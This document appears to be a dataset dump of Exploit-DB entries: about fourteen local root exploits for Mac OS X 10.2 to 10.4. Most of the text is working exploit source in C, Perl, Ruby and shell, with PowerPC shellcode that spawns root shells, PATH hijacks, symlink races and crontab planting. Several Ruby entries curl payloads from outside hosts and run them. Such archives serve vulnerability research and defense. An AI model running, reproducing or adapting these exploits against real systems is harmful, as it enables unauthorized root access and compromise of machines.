deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15
Description: Apple Mac OSX 10.2.4 - DirectoryService 'PATH' Local Privilege Escalation
Type: local
Platform: osx
Date: 2003-04-18
Author: Neeko Oni

Exploit:
/* 
   OS X <= 10.2.4 DirectoryService local root PATH exploit
   DirectoryService must be crashed prior to execution, per
   @stake advisory.  If you discover how to crash DirectoryService
   e-mail me at neeko@haackey.com  [Neeko Oni]

--
Assuming DirectoryService has been crashed/killed, compile
this code as 'touch' (gcc osxds.c -o touch) and execute.

bash$ ./touch
*bunch of stuff here*
euid is root.
bash#

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int 
main(int argc, char **argv)
{
	char           *ORIGPATH;
	int             temp;
	if (argc < 2) {
		if (geteuid() == 0) {
		printf("euid is root.\n");
		setuid(0);
		execl("/bin/bash", "bash", NULL);
		}
		strcpy(ORIGPATH, getenv("PATH"));
		printf("Original path: %s\n", ORIGPATH);
		setenv("PATH", ".", 1);
		printf("New path: %s\n", getenv("PATH"));
		printf("Executing DirectoryService with false PATH...\n");
		if (fork() == 0) {
			execl("/usr/sbin/DirectoryService", "DirectoryService", NULL);
		}
		printf("Forked DirectoryService, pausing before shell exec...\n");
		sleep(3);
		printf("Cross your fingers.\n");
		setenv("PATH", ORIGPATH, 1);
		printf("Path restored: %s\n", getenv("PATH"));
		execl("./touch", "touch", NULL);		
	}
system("/usr/sbin/chown root ./touch;/bin/chmod +s ./touch");
}

// milw0rm.com [2003-04-18]
Exploit-DB #766
Description: Apple Mac OSX 10.3.7 - 'mRouter' Local Privilege Escalation
Type: local
Platform: osx
Date: 2005-01-22
Author: nemo

Exploit:
/*
  * fm-iSink.c
  * overflow in mRouter, suid binary used by iSync, on OSX <= 10.3.7
  *
  * written by -( nemo @ felinemenace.org )-
  *
  *                    _,'|             _.-''``-...___..--';)
  *                    /_ \'.      __..-' ,      ,--...--'''
  *                   <\    .`--'''       `     /'
  *                   `-';'               ;   ; ;
  *              __...--''     ___...--_..'  .;.'
  *          fL (,__....----'''       (,..--''
  *
  * http://pulltheplug.org and http://felinemenace.org.
  *
  * Bug discovered by Braden Thomas. Exploit by nemo.
  *
  * -( need a challenge...? )-
  * -( http://www.pulltheplug.org )-
  */

#include <sys/types.h>
#include <string.h>
#include <unistd.h>

#define VULNPROG 
"/System/Library/SyncServices/SymbianConduit.bundle/Contents/Resources/
mRouter"
#define MAXBUFSIZE 4096

char shellcode[] = // Shellcode by b-r00t, modified by nemo.
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\xc3\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xff\xff\x02"
"\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x60"
"\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8"
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68";

char filler[MAXBUFSIZE];

int main(int ac, char **av)
{
unsigned int ret  = 0xbffffffa -  strlen(shellcode);
         char *args[] = { VULNPROG, "-v", "-a", filler, NULL };
char *env[]  = { "TERM=xterm", shellcode, NULL };

         memset(filler,(char)'A',sizeof(filler));
         memcpy(filler+MAXBUFSIZE-5,&ret,4);

execve(*args, args,env);

         return 0;
}

// milw0rm.com [2005-01-22]
Exploit-DB #2111
Description: Apple Mac OSX 10.3.8 - 'CF_CHARSET_PATH' Local Buffer Overflow (2)
Type: local
Platform: osx
Date: 2006-08-02
Author: Kevin Finisterre

Exploit:
#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# Variant of CF_CHARSET_PATH a local root exploit by v9_at_fakehalo.us
#
# I was in the mood for some retro shit this morning, and I need root on some old ass G3 iMacs for a demo.
#
# I got sick of pressing enter on v9's exploit. It gets in the way when scripting attacks.
#
# Jill-Does-Computer:/tmp jilldoe$ ./authopen-CF_CHARSET.pl 0
# *** Target: 10.3.7 Build 7T65 on PowerPC, Padding: 1
# sh-2.05b# id
# uid=502(jilldoe) euid=0(root) gid=502(jilldoe) groups=502(jilldoe), 79(appserverusr), 80(admin), 81(appserveradm)
#
#

foreach $key (keys %ENV) {

   delete $ENV{$key};

}

#// ppc execve() code by b-r00t + nemo to add seteuid(0)
$sc =
"\x7c\x63\x1a\x79" .
"\x40\x82\xff\xfd" .
"\x39\x40\x01\xc3" .
"\x38\x0a\xfe\xf4" .
"\x44\xff\xff\x02" .
"\x39\x40\x01\x23" .
"\x38\x0a\xfe\xf4" .
"\x44\xff\xff\x02" .
"\x60\x60\x60\x60" .
"\x7c\xa5\x2a\x79" .
"\x40\x82\xff\xfd" .
"\x7d\x68\x02\xa6" .
"\x3b\xeb\x01\x70" .
"\x39\x40\x01\x70\x39\x1f\xfe\xcf" .
"\x7c\xa8\x29\xae\x38\x7f\xfe\xc8" .
"\x90\x61\xff\xf8\x90\xa1\xff\xfc" .
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb" .
"\x44\xff\xff\x02\x7c\xa3\x2b\x78" .
"\x38\x0a\xfe\x91\x44\xff\xff\x02" .
"\x2f\x62\x69\x6e\x2f\x73\x68\x58";

$tgts{"0"} = "10.3.7 Build 7T65 on PowerPC:1";
$tgts{"1"} = "10.3.7 debug 0x41424344:0";

unless (($target) = @ARGV) {

       print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

       foreach $key (sort(keys %tgts)) {
               ($a,$b) = split(/\:/,$tgts{"$key"});
               print "\t$key . $a\n";
       }

       print "\n";
       exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a, Padding: $b\n";

# add a wrapper here if you want more than euid=0
open(SUSH,">/tmp/sh");
printf SUSH "/bin/csh -i\n";

$ENV{"CF_CHARSET_PATH"} = "A" x 1048 . pack('l', 0xbffffef6) x 2;

$ENV{"APPL"} = "." x $b . "iiii" x 40 . $sc ;

system("/usr/libexec/authopen /etc/master.passwd");

# milw0rm.com [2006-08-02]
Exploit-DB #896
Description: Apple Mac OSX 10.3.8 - 'CF_CHARSET_PATH' Local Buffer Overflow / Local Privilege Escalation
Type: local
Platform: osx
Date: 2005-03-22
Author: vade79

Exploit:
/*[ MacOS X[CF_CHARSET_PATH]: local root exploit. ]*********
*                                                         *
* by: v9@fakehalo.us (fakehalo/realhalo)                  *
*                                                         *
* found by: iDefense (anon finder)                        *
*                                                         *
* saw the advisory on bugtraq and figured i'd slap this   *
* together, so simple i had to.  exploits via the         *
* /usr/bin/su binary.  you must press ENTER at the        *
* "Password: " prompt.                                    *
***********************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static char exec[]= /* b-r00t's setuid(0)+exec(/bin/sh). */
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb"
"\x01\x70\x39\x40\x01\x70\x39\x1f\xfe\xdf\x7c\x68\x19\xae"
"\x38\x0a\xfe\xa7\x44\xff\xff\x02\x60\x60\x60\x60\x7c\xa5"
"\x2a\x79\x38\x7f\xfe\xd8\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb\x44\xff\xff\x02\x7c\xa3"
"\x2b\x78\x38\x0a\xfe\x91\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";
int main(void){
unsigned int i=0;
char *buf,*env[3];
printf("(*)MacOS X[CF_CHARSET_PATH]: local root exploit.\n");
printf("(*)by: v9@fakehalo.us, found by iDefense adv. (anon)\n\n");
if(!(buf=(char *)malloc(1100+1)))exit(1);
memcpy(buf,"CF_CHARSET_PATH=",16);
printf("[*] setting up the environment.\n");
for(i=16;i<1100;i+=4)*(long *)&buf[i]=(0xbffffffa-strlen(exec));
env[0]=buf;
env[1]=exec;
env[2]=NULL;
printf("[*] executing su... (press ENTER at the \"Password: \""
" prompt)\n\n");
if(execle("/usr/bin/su","su",0,env))
 printf("[!] failed executing /usr/bin/su.\n");
exit(0);
}

// milw0rm.com [2005-03-22]
Exploit-DB #26185
Description: Apple Mac OSX 10.4 - dsidentity Directory Services Account Creation and Deletion
Type: local
Platform: osx
Date: 2005-08-15
Author: Neil Archibald

Exploit:
source: https://www.securityfocus.com/bid/14630/info

A vulnerability in Apple Directory Services allows unprivileged users to create or delete directory services idnetity accounts.

This issue was originally described in BID 14567 Apple Mac OS X Multiple Vulnerabilities. It is now being assigned its own BID. 

To create an account named 'Username' with the password 'pass':
Victim:~ kevinfinisterre$ /usr/sbin/dsidentity -a Username -s pass -v

To delete an account named 'Username':
Victim:~ kevinfinisterre$ /usr/sbin/dsidentity -r Username -v

To create multiple accounts:
Victim:~ kevinfinisterre$ /usr/sbin/dsidentity -a `perl -e 'print "A" x 29000'`
Exploit-DB #1043
Description: Apple Mac OSX 10.4 - launchd Race Condition
Type: local
Platform: osx
Date: 2005-06-14
Author: intropy

Exploit:
/*
 *  Mac OS X 10.4 launchd race condition exploit
 *
 *  intropy (intropy <at> caughq.org)
 */

/* .sh script to help with the offsets /str0ke
#!/bin/bash

X=1000
Y=3000
I=1

while ((1))
do
    ./CAU-launchd /etc/passwd $X
    if [ $I -lt 30 ]
    then
        ((X=$X+$Y))
        ((I=$I+1))
    else
        X=1000
        I=1
    fi
done
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define DEBUG 0
#define SLEEP 6000

main(int argc, char *argv[])
{
    pid_t pid;
    int count, sleep = SLEEP;
    char name[100];    
    char target[100];
    struct stat *stats = (struct stat *)malloc(sizeof(struct stat));

    if ( argc < 2) {
        fprintf(stderr, "%s <file to 0wn>\n", argv[0]);
        exit(-1);
    } else if ( argc > 2 ) {
        sleep = atoi(argv[2]);
        strncpy(target, argv[1], sizeof(target)-1);
    } else {
        strncpy(target, argv[1], sizeof(target)-1);
    }

    if ( DEBUG ) printf("Going for %s\n", target);
    if ( DEBUG ) printf("Using usleep %d\n", sleep);

    pid = fork();

    if ( pid == 0 ) {
        if ( DEBUG ) {
            system("/sbin/launchd -v /bin/ls -R /var/launchd/ 2>/dev/null");
        } else {
            system("/sbin/launchd -v /bin/ls -R /var/launchd/ >/dev/null 2>&1");
        }
    } else {
        snprintf(name, sizeof(name)-1, "/var/launchd/%d.%d/sock", getuid(), pid+2);
        if ( DEBUG ) printf("Checking %s\n", name);
        usleep(sleep);
        if ( DEBUG ) printf("Removing sock...\n");
        if ( (unlink(name)) != 0 ) {
            if ( DEBUG ) perror("unlink");
        } else {
            if ( (symlink(target, name)) != 0 ) {
                if ( DEBUG ) perror("symlink");
            } else {
                if ( DEBUG ) printf("Created symlink %s -> %s...\n", name, target);
            }
        }
        stat(target, stats);
        if ( stats->st_uid == getuid() ) {
            printf("Looks like we got it\n");
            usleep(10000000);
        }
    }
}

// milw0rm.com [2005-06-14]
Exploit-DB #2108
Description: Apple Mac OSX 10.4.7 - fetchmail Privilege Escalation
Type: local
Platform: osx
Date: 2006-08-01
Author: Kevin Finisterre

Exploit:
#!/bin/sh
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com) 
#
# Previously undisclosed local fetchmail issue. This takes setgid=6
#
# http://docs.info.apple.com/article.html?artnum=106704

export PATH=/tmp:$PATH
echo /bin/sh -i > /tmp/uname
chmod +x /tmp/uname
/usr/bin/fetchmail -V

# milw0rm.com [2006-08-01]
Exploit-DB #2463
Description: Apple Mac OSX 10.4.7 - Mach Exception Handling Privilege Escalation
Type: local
Platform: osx
Date: 2006-09-30
Author: xmath

Exploit:
/* excploit.c - 28 Nov 2005 - xmath@math.leidenuniv.nl
 *
 * Exploitable Mach Exception Handling
 *
 * Affected:  Mac OS X 10.4.6 (darwin 8.6.0) and older
 *
 * When a process executes a setuid executable, all existing rights to the
 * task port are invalidated, to make sure unauthorized processes do not
 * retain control of the process.  Exception handlers however remain installed,
 * and when some kind of hardware exception occurs, the exception handler can
 * receive a new right to the task port as one of its arguments, and thus
 * regain full control over the process.
 *
 * Interestingly, the code to reset the exception handlers (and hence thwart
 * this attack) upon exec() of a setuid executable has been present in the
 * kernel since OSX 10.3, but is disabled (#if 0) for unspecified reasons.
 *
 * This exploit installs an exception handler on illegal memory access, forks
 * off a child (the handler is inherited), and uses RLIMIT_STACK to cause a
 * segfault after exec().  The shell code invokes /usr/bin/id.
 *
 * Greetings to Scrippie and #vuln
 *
 */

#include <sys/resource.h>
#include <sys/wait.h>
#include <unistd.h>
#include <mach/mach.h>

extern boolean_t exc_server(mach_msg_header_t *, mach_msg_header_t *);

int main(void) {
	mach_port_t self = mach_task_self(), exc;
	mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &exc);
	mach_port_insert_right(self, exc, exc, MACH_MSG_TYPE_MAKE_SEND);
	task_set_exception_ports(self, EXC_MASK_BAD_ACCESS, exc,
			EXCEPTION_STATE_IDENTITY, PPC_THREAD_STATE);

	if (fork()) {
		mach_msg_server_once(exc_server, 512, exc, 0);
		wait(NULL);
	} else {
		static struct rlimit rl;
		setrlimit(RLIMIT_STACK, &rl);
	        execl("/usr/bin/chsh", "chsh", NULL);
	}

	return 0;
}

static long implant[] = {
	0x48000015, 0x00000000, 0x00100000, 0x00000000,
	0x00100000, 0x7ca802a6, 0x38600003, 0x38850000,
	0x380000c3, 0x44000002, 0x60000000, 0x38600000,
	0x38000017, 0x44000002, 0x60000000, 0x38600000,
	0x380000b5, 0x44000002, 0x60000000, 0x38650068,
	0x38850074, 0x90640000, 0x3800003b, 0x44000002,
	0x60000000, 0x38000001, 0x44000002, 0x2f757372,
	0x2f62696e, 0x2f696400, 0x00000000, 0x00000000,
};

kern_return_t catch_exception_raise_state_identity(mach_port_t exc, thread_t t,
		task_t task, exception_type_t e, exception_data_t ed,
		mach_msg_type_number_t edsz, int *f, thread_state_t *is,
		mach_msg_type_number_t isz, thread_state_t *os) {
	vm_allocate(task, os, sizeof implant, TRUE);
	vm_write(task, *os, implant, sizeof implant);
	return KERN_SUCCESS;
}

// milw0rm.com [2006-09-30]
Exploit-DB #3219
Description: Apple Mac OSX 10.4.8 (8L2127) - 'crashdump' Local Privilege Escalation
Type: local
Platform: osx
Date: 2007-01-29
Author: MoAB

Exploit:
#!/usr/bin/ruby
# Copyright (c) 2007 Kevin Finisterre <kf_lists [at] digitalmunition.com>
#                    Lance M. Havok   <lmh [at] info-pull.com>
# All pwnage reserved.
#
# 1) Stop crashdump from writing to ~/Library/Logs via chmod 000 ~/Library/Logs/CrashReporter
# 2) Make symlink to /Library/Logs/CrashReporter/knownprog.crash.log
# 3) Create a program with a modified __LINKEDIT segment that influences crashreporter output 
#
# 0000320: 3800 0000 5f5f 4c49 4e4b 4544 4954 0000  8...__LINKEDIT..
# 0000330: [PII_REDACTED] [PII_REDACTED]  .....@.......0..
# 0000340: [PII_REDACTED] [PII_REDACTED]   ...............
# 0000350: 0400 0000 0e00 0000 1c00 0000 0c00 0000  ................
# 0000360: 2f75 7372 2f6c 6962 2f64 796c 6400 0000  /usr/lib/dyld...
# 0000370: 0c00 [PII_REDACTED] 0000 68b7 9b45  ....4.......h..E
# 0000380: [PII_REDACTED] 0d0a 2a20 2a20 2a20  ..X.......* * * 
# 0000390: 2a20 2a20 2f74 6d70 2f78 0d0a 2e64 796c  * * /tmp/x...dyl
# 00003a0: [PII_REDACTED] [PII_REDACTED]  ib...........0..
#
# 4) Run the fake program which will crash and create /var/cron/tabs/root
# 5) Sleep and then create a legit crontab to refresh cron
 
SYMLINK_PATH  = "/Library/Logs/CrashReporter/vuln.crash.log"

PWNERCYCLE    = "ln -s /var/cron/tabs/root #{SYMLINK_PATH};"    +
                "chmod 000 ~/Library/Logs/CrashReporter/;"      +
                "crontab /tmp/fakecron;"                        +
                "chmod +x /Users/Shared/r00t; sleep 61; ./vuln;"

def escalate()
  puts "++ Fixing up a fake crontab"
  fakecron = File.new("/tmp/fakecron", "w")
  fakecron.print("* * * * * /usr/bin/id > /tmp/USERCRON\n")
  fakecron.close
  tmp_ex = File.new("/Users/Shared/r00t", "w")
  tmp_ex.print("/usr/bin/id > /tmp/CRASHREPOWNED\n")
  tmp_ex.close

  system PWNERCYCLE
end

escalate()

# milw0rm.com [2007-01-29]
Exploit-DB #3181
Description: Apple Mac OSX 10.4.8 - 'UserNotificationCenter' Local Privilege Escalation
Type: local
Platform: osx
Date: 2007-01-23
Author: MoAB

Exploit:
#!/usr/bin/ruby
# Copyright (c) 2007 Kevin Finisterre <kf_lists [at] digitalmunition.com>
#                    Lance M. Havok   <lmh [at] info-pull.com>
# All pwnage reserved.
#
# "Exploit" for MOAB-22-01-2007: All your crash are belong to us.
#

require 'fileutils'

bugselected = (ARGV[0] || 0).to_i

# INPUTMANAGER_URL    = "http://projects.info-pull.com/moab/bug-files/MOAB-22-01-2007_im.tar.gz"
# keeping a local backup. /str0ke
INPUTMANAGER_URL    = "https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3181.tar.gz"
INPUTMANAGER_PLANT  = "/usr/bin/curl -o /tmp/moab_im.tar.gz #{INPUTMANAGER_URL};"             +
                      "mkdir -p ~/Library/InputManagers/;"                                    +
                      "cd ~/Library/InputManagers/;"                                          +
                      "tar -zxvf /tmp/moab_im.tar.gz"

case bugselected
  when 0
    target_url  = "http://projects.info-pull.com/moab/bug-files/notification"
	  trigger_cmd = "curl -o /tmp/notify #{target_url} ; /tmp/notify &"
  when 1
    target_url  = "http://projects.info-pull.com/moab/bug-files/pwned-ex-814.ttf"
	  trigger_cmd = "/usr/bin/curl -o /tmp/pwned-ex-814.ttf #{target_url}; open /tmp/pwned-ex-814.ttf"
  when 2
    target_url  = "http://projects.info-pull.com/moab/bug-files/MOAB-10-01-2007.dmg.gz"
	  trigger_cmd = "/usr/bin/curl -o /tmp/moab_dmg.gz #{target_url}; cd /tmp; gunzip moab_dmg.gz; open MOAB-10-01-2007.dmg"	
end

CMD_LINE = "#{INPUTMANAGER_PLANT} ; #{trigger_cmd}"

def escalate()
  puts "++ Welcome to Pwndertino..."
  system CMD_LINE
  sleep 5
  system "/Users/Shared/shX" 
end

escalate()

# milw0rm.com [2007-01-23]
Exploit-DB #3985
Description: Apple Mac OSX 10.4.8 - pppd Plugin Loading Privilege Escalation
Type: local
Platform: osx
Date: 2007-05-25
Author: qaaz

Exploit:
Mac OS X <= 10.4.8 pppd Plugin Loading Privilege Escalation Exploit

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3985.tar (05252007-osxpppd.tar)

# milw0rm.com [2007-05-25]
Exploit-DB #3173
Description: Apple Mac OSX 10.4.8 - System Preferences Privilege Escalation
Type: local
Platform: osx
Date: 2007-01-21
Author: MoAB

Exploit:
#!/usr/bin/ruby
# Copyright (c) 2007 Kevin Finisterre <kf_lists [at] digitalmunition.com>
#                    Lance M. Havok   <lmh [at] info-pull.com>
# All pwnage reserved.
#
# "Exploit" for MOAB-21-01-2007: OS X, making root shells easier each day.
#

SHELL_WRAP      = 'int main() { system("/bin/sh -i"); return 0; }'
SHELL_PLANT     = 'int main() { system("chown root: /tmp/shX; chmod 4755 /tmp/shX"); return 0; }'
PREFS_BINPATH   = '/Applications/System\ Preferences.app/Contents/MacOS/System\ Preferences'

COMMAND_LINE    = "echo '#{SHELL_WRAP}' > /tmp/t.c &&"    +
                  "cc -o /tmp/shX /tmp/t.c &&"            +
                  "echo '#{SHELL_PLANT}' > /tmp/t.c &&"   +
                  "cc -o /tmp/launchctl /tmp/t.c &&"      +
                  'export PATH="/tmp/:$PATH" &&'          +
                  "#{PREFS_BINPATH} &"

def escalate()
  system COMMAND_LINE
  puts "++ Click on Sharing and then click on Windows Sharing..."
  sleep 30 # make sure you have "time"
  system "/tmp/shX" 
end

escalate()

# milw0rm.com [2007-01-21]
Exploit-DB #30096
Description: Apple Mac OSX 10.4.9 - VPND Local Format String
Type: local
Platform: osx
Date: 2007-05-29
Author: Chris Anley

Exploit:
source: https://www.securityfocus.com/bid/24208/info

Apple Mac OS X's VPN service daemon is prone to a format-string vulnerability because it fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

Attackers may exploit this issue to crash the application or execute arbitrary code with superuser privileges. Successful exploits can result in a complete compromise of vulnerable computers.

Apple Mac OS X Server 10.4.9 and prior versions are vulnerable to this issue.

This issue was originally included in BID 24144 (Apple Mac OS X 2007-005 Multiple Security Vulnerabilities), but has been given its own record. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30096.tar.gz
Exploit-DB #29201
Description: Apple Mac OSX 10.4.x - 'Shared_Region_Make_Private_Np' Kernel Function Local Memory Corruption
Type: local
Platform: osx
Date: 2006-11-29
Author: LMH

Exploit:
/*
source: https://www.securityfocus.com/bid/21349/info

Apple Mac OS X is prone to a local memory-corruption vulnerability. This issue occurs when the operating system fails to handle specially crafted arguments to a system call. 

Attackers may exploit this issue to cause a kernel panic, effectively denying further service to legitimate users. Due to the nature of this issue, successful exploits may potentially result in the execution of arbitrary machine code in the context of the affected kernel, but this has not been confirmed.

Mac OS X version 10.4.8 is vulnerable to this issue; other versions may also be affected.
*/


/*
 * Copyright 2006 (c) LMH <lmh@info-pull.com>.
 * All Rights Reserved.
 * ----           
 *               .---. .---. 
 *              :     : o   :    me want cookie and clues! L0W LEVA! - A 
J. H
 *          _..-:   o :     :-.._    / 
 *      .-''  '  `---' `---' "   ``-.    
 *    .'   "   '  "  .    "  . '  "  `. 
 *   :   '.---.,,.,...,.,.,.,..---.  ' ;
 *   `. " `.                     .' " .' kudos to ilja, kevin and icer.
 *    `.  '`.                   .' ' .'           "proof of concept" for
 *     `.    `-._           _.-' "  .'  .-------.       MOKB-28-11-2006.
 *       `. "    '"--...--"'  . ' .'  .'  · o   ·`.
 *       .'`-._'    " .     " _.-'`. :  C o C o A :
 *     .'      ```--.....--'''    ' `:_ o      o  :
 *   .'    "     '         "     "   ; `.;";";"; _'
 *  ;         '       "       '     . ; .' ; ; ;
 * ;     '         '       '   "    .'      .-'
 * '  "     "   '      "           "    _.-'
 */

#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>

int main() {
		/* shared_region_make_private_np = 300 (xnu-792.6.70), 
3rd arg unused */
        syscall(300, 0x8000000, 0xdeadface, 0xffffffff);
        return 0;
}